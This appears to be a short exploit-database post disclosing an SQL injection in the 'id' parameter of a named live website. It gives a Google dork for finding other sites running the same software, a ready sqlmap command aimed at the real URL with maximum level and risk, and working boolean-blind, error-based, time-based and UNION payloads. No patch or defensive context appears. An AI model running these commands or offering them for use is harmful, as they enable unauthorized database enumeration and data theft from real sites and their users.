****************************
#Exploit Title: HUMOR - SQL Injection vulnerability
#Date: 2020-10-23
#Exploit Author: Mahdi Karimi
#Vendor Homepage: http://www.humor.co.il
#Google Dork: "Powered by Humor"
#Tested On: windows 10
sqlmap:
sqlmap -u "http://www.humor.co.il/category.php?id=61" --level=5 --risk=3 --dbs --random-agent
Testing Method;
- boolean-based blind
- time-based blind
- error-based
- UNION query
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=61 AND 4140=4140
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: id=61 AND GTID_SUBSET(CONCAT(0x71787a6b71,(SELECT (ELT(6772=6772,1))),0x7176786a71),6772)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=61 AND (SELECT 3888 FROM (SELECT(SLEEP(5)))FMSG)
Type: UNION query
Title: Generic UNION query (NULL) - 15 columns
Payload: id=61 UNION ALL SELECT CONCAT(0x71787a6b71,0x66464a4f444e714757637a6b4844696a7a58694a61784c716e596c69786d6d446e536d466e657a6a,0x7176786a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
**************************************************
#Discovered by: Mahdi Karimi
#Email : mjoker22mjoker22@gmail.com
**************************************************